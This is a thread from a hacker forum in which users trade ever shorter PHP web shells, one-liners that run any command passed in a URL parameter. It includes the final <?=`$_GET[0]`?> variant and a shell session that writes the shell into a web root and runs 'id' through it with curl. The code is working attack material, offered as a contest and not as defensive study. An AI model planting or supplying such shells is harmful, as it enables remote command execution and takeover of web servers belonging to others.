Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

PHP 

Simple PHP Shell I made [PHP OBFUSCATION]

(Aug 4, 2013 01:44 PM)urez Wrote:  why is passthru() and shell_exec() better than exec()? whats the difference,i thought they do basically the same thing

While exec() only returns the last output of the command, shell_exec() returns the whole output.
But honestly, there's no reason to prefer one on the others in this situation.
The Alliance
(Aug 3, 2013 04:52 PM)PigBacon Wrote:  <?php `{$_GET['c']}` ?>
That's still pretty hard to get unless you know what the fuck backticks do.

And the record for the shortest PHP shell goes to...
(Aug 5, 2013 05:00 AM)Eight Wrote:  And the record for the shortest PHP shell goes to...

Wasn't going for short tho? lol you all miss the point 😝
I have never seen obfuscation like that. Do not understand anything of it at all :/
(Aug 5, 2013 05:00 AM)Eight Wrote:  And the record for the shortest PHP shell goes to...

Also, ne I believe the shortens in that case would be:
PHP Code

<?=`{$_GET['c']}`;?>

🤫
(Aug 5, 2013 04:29 PM)Ego Inc Wrote:  Also, ne I believe the shortens in that case would be:
PHP Code

<?=`{$_GET['c']}`;?>

🤫

Dammit, got me again. Try loosing the semicolon though, I heared they aren't required on one-line scripts.
(Aug 5, 2013 07:56 PM)Eight Wrote:  Dammit, got me again. Try loosing the semicolon though, I heared they aren't required on one-line scripts.

Haha yesh 😝 Your right, looks like you got me?
(Aug 5, 2013 04:29 PM)Ego Inc Wrote:  Also, ne I believe the shortens in that case would be:
PHP Code

<?=`{$_GET['c']}`;?>

🤫

Not quite.
PHP Code

<?=`$_GET[0]`?>

Do I get a cookie?
[Image: 8Yoto.png]
(Aug 5, 2013 08:14 PM)Phizo Wrote:  Not quite.
PHP Code

<?=`$_GET[0]`?>

Do I get a cookie?

or...
PHP Code

<?=`$_GET[0]`; 

Did I just win your cookie?
(Aug 5, 2013 09:11 PM)Ego Inc Wrote:  actually that doesnt work... but

or...
PHP Code

<?=`$_GET[0]`; 

Did I just win your cookie?

Code
jizzo# cd /srv/http/
jizzo# echo "<?=\`\$_GET[0]\`?>" > hehe.php
jizzo# apachectl start
jizzo# curl "localhost/hehe.php?0=id"  
uid=33(http) gid=33(http) groups=33(http)
[Image: 8Yoto.png]
(Aug 5, 2013 09:19 PM)Phizo Wrote:  
Code
jizzo# cd /srv/http/
jizzo# echo "<?=\`\$_GET[0]\`?>" > hehe.php
jizzo# apachectl start
jizzo# curl "localhost/hehe.php?0=id"  
uid=33(http) gid=33(http) groups=33(http)

Notice my edit, it was in response to somthing else and got in there on accadent lol :p I didnt mean what you said didnt work... 😝


Possibly Related Threads...
Thread / Author Replies Views Last Post
[Javascript]  by HardRockJun 24, 2023 09:16 AM 0 147 Jun 24, 2023 09:16 AM
Last Post: HardRock
[Javascript]  by macfanApr 30, 2020 09:52 AM 9 285 Apr 30, 2020 09:52 AM
Last Post: MavenGradle
[Javascript]  by speckled_eggzDec 21, 2018 03:27 PM 16 912 Dec 21, 2018 03:27 PM
Last Post: speckled_eggz